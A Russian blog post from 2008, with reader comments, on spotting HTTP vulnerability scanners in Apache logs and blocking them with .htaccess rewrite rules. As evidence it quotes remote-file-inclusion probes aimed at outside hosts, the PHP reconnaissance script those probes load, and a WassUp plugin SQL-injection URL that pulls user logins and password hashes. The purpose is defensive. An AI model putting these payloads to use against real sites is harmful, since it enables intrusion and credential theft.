Минимизируем неприятные последствия HTTP-сканирования

Защищаем сайт от HTTP-сканеров

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете :-), то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

[-]
View Code (Unknown Language)
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] "GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] "GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 71829 "-"
"libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] "GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90948 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] "GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86232 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] "GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] "GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 76404 "-" "libwww-perl/5.8
05"

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

[-]
View Code PHP
<?php
echo "ryey<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "ryey ONLINE<br>";
exit;
?>

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

[-]
View Code (Unknown Language)
ryey
os: Linux
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64
uptime:  04:44:54 up 13:51,  3 users,  load average: 0.37, 0.26, 0.20
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...
pwd: /home/test
user:
phpv: 5.2.6-2ubuntu4
SoftWare:
ServerName:
ServerAddr:
ryey ONLINE

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

[-]
View Code (Unknown Language)
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

[-]
View Code (Unknown Language)
"GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"
"GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

  1. It is an attempt to gain admin rights (hack).
  2. You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.

    If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

[-]
View Code (Unknown Language)
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

[-]
View Code (Unknown Language)
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] "GET http://www.intel.com/ HTTP/1.1" 403 529 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)"

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

[-]
View Code Bash
grep -E 'HTTP/1\.[01]" 404 ' apache-log.txt > 404.txt

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

[-]
View Code Bash
cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

[-]
View Code Bash
cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n | awk '{ if ($1 > 100) { system("cat 404.txt | grep " $2 " >> filtered.txt"); } }'

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

  • практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
    //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
    /sub.php?sub=http://61.19.234.26/test.txt???
    /admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
    
    Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
  • запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
  • из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
    203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
    86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
    
    Удвоенный еще куда ни шло, но утроенный — это перебор;
  • у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
  • сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
  • как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

[-]
View Code Apache configuration
<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{QUERY_STRING} [^?]*\? [OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
RewriteCond %{QUERY_STRING} (///) [OR]
RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:"
RewriteRule (.*) $1 [F]
</IfModule>

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

[-]
View Code Apache configuration
SetEnvIf User-Agent "^libwww-perl" badua
Order Allow,Deny
Allow from all
Deny from env=badua

Update: весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.

Добавить в закладки

Связанные записи

Автор: Vladimir; опубликовано в: Безопасность; метки: scanning, атака, безопасность, сканирование, уязвимость
19
Ноя
2008

RSS Комментарии к статье «Минимизируем неприятные последствия HTTP-сканирования» (21)  »

  1. Данная конфигурация успешно прошла тестирование сканером Nikto:

    [-]
    View Code Apache configuration
    <IfModule mod_rewrite.c>
    RewriteEngine On

    RewriteCond %{QUERY_STRING} [^?]*\? [OR]
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
    RewriteCond %{QUERY_STRING} (///) [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST|HEAD) //"
    RewriteRule (.*) $1 [F]

    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]

    </IfModule>

    выдав ложное срабатывание:

    [-]
    View Code (Unknown Language)
    + OSVDB-6659: GET //mjOBSzH8ieiUEDLZCd16N0PKeX82FUtQqK0hflmti6YQG8iiB02CBte7HdUt9UEnFImwu1n74gXfAADVMl3Gfa7X4UOAfOA4fngZg8fwIKNhWGjIlrKMXeVPAVMEuiCnl7LHpRrjOOnZqBVTXWO4Q9hzaF2rWT0xSVENILkT4iHp5biJMzN9WoZuZkTVGrbwabcPzOrPQoPCNkahQRZnLxFBcAIikV0<font%20size=50>DEFACED<!--//-- : MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version.
  2. Вы правы Владимир – тоже самое.
    Я почему-то думал, что после запрета пустых катологов и переопределения файлов нужно ставить проверку на зацикливание :oops:

  3. [...] TCP Wrappers очень удобно использовать с программами для защиты от червей (BlackHosts, DenyHosts, Fail2ban), в частности, для защиты от HTTP-сканирования. [...]

  4. Здравствуйте, Владимир.
    Есть плагин Search Meter, который пишет поисковые запросы, введенные через форму сайта. Поставил его на WP 2.8.6, интересно было знать что у меня ищут посетители – оказалось, что лог изобилует запросами типа:

    002dfe33d7af285673de33b1ba70ae32

    Объясните нубу, если это попытки взлома, то что они пытаются проковырять? А если нет – то что можно найти подобным запросом?
    Или сам плагин кривоват?

    • Вопрос хороший… Вряд ли это взлом, возможно, что кто-то балуется.

      Вы не пробовали смотреть логи web-сервера, по идее там должны быть такие же строки? Если же их там нет, то это плагин шалит.

      • levati

        Есть строки – на плагин жалоб не осталось. Упражняется кто-то, только в чём? И трекбэки в последней версии WP без модерации идут – хоть отключай совсем… :(

        • Трэкбэки без модерации? Это очень странно. У меня стоит самая последняя бета 2.9, на это жалоб нет.

          Может какой плагин с трэкбэками химичит?

          • Не думаю, вообще-то линков на трекбэки на самом сайте не видно, но после апдейта версий с 2.3.х на ветку 2.8.х уведомления о трекбеках стали приходить с поразительной регулярностью…

          • А с одного и того же адреса или с разных? Если спамеров несколько, можно просто их по IP забанить.

            Был один товарищ, rss.e-customer.ru, он меня сильно спамил (спам в трэкбэках, несколько десятков сообщений в день). Пришлось человеку популярно объяснять, что он козёл. После того, как у него сервер упал пару раз, спам прекратился :-)

  5. С комментами проще – я на WP шаблон коммента расширил и сделал небольшое изменение в wp-comments: руками прописал пару строк – автоспамеры не досаждают. А с трекбеками как быть – пока не знаю…

    • Попробуйте плагин Simple Trackback Validation. Он, во-первых, сверяет IP-адрес, с которого приехал trackback, с IP-адресом веб-сервера URL-а в теле trackback-а и, во-вторых, проверяет есть ли ссылка на ваш блог на странице с URL-ом из тела trackback-а. У меня после его установки trackback-овый спам прекратился.

  6. deck53

    У меня есть сайт на php на котором стоит редирект дублей www и index.php на корень
    Если добавляю в htaccess вышеприведённый код редирект перестаёт работать

    [-]
    View Code Apache configuration
    RewriteEngine On

    RewriteCond %{QUERY_STRING} [^?]*\? [OR]
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
    RewriteCond %{QUERY_STRING} (///) [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST|HEAD) //"
    RewriteRule (.*) $1 [F]

    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]

    Ещё есть сайт на html в котором прописано выполнение php и тоже стоит редирект дублей.
    Простое убирание из кода index.php не помогает.
    Если не трудно, как будет выглядеть вышеуказанный код для этих случаев?
    P.s. Сам не програмист и с htaccess туго.

    • Это .htaccess целиком? Я редиректов просто не вижу.

      • deck53

        Это мой .htaccess:

        [-]
        View Code Apache configuration
        # удаление дублей www и index.html
        Options +FollowSymLinks
        RewriteEngine On
        RewriteBase /
        RewriteCond %{HTTP_HOST} ^www.сайт\.ru$ [NC]
        RewriteRule ^(.*)$ http://сайт.ru/$1 [R=301,L]
        RewriteRule ^(.*)index\.html$ /$1 [R=301]

        # запрет на отображение содержимого директории при отсутствии индексного файла
        Options -Indexes

        # выполнение php на html страницах
        AddHandler application/x-httpd-php5 .htm .html

        # своя ошибка 404
        ErrorDocument 404 /404.html

        # редирект
        Redirect 301 /contact.html http://сайт.ru/contact.php

        Если в него добавить это:

        [-]
        View Code Apache configuration
        RewriteEngine On

        RewriteCond %{QUERY_STRING} [^?]*\? [OR]
        RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
        RewriteCond %{QUERY_STRING} (///) [OR]
        RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" [OR]
        RewriteCond %{THE_REQUEST} "^(GET|POST|HEAD) //"
        RewriteRule (.*) $1 [F]

        RewriteBase /
        RewriteCond %{REQUEST_FILENAME} !-f
        RewriteCond %{REQUEST_FILENAME} !-d
        RewriteRule . /index.php [L]

        то при вводе такого адреса http://сайт.ru/index.php сайт (php) выдаёт ошибку 500 вместо редиректа на http://сайт.ru/
        Для сайта (html) пробовал менять предпоследнюю строку вашего htaccess на RewriteRule . /index.html [L] и на RewriteRule . /[L], всё равно ошибка 500.

        • А версия апача какая? Есть серьёзное подозрение, что он банально с регулярными выражениями не справляется.

          • deck53

            Версия Apache 2.0.63
            Я поставил первую версию вашего кода и всё нормально.
            Мне кажется что с моим htaccess конфликтует эта строка RewriteRule . /index.php [L]

          • Попробуйте комментировать строки по одной.

Оставить комментарий к записи «Минимизируем неприятные последствия HTTP-сканирования»

Вы можете использовать данные тэги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Изображения должны быть включены!

Оставляя комментарий, вы выражаете своё согласие с Правилами комментирования.

Подписаться, не комментируя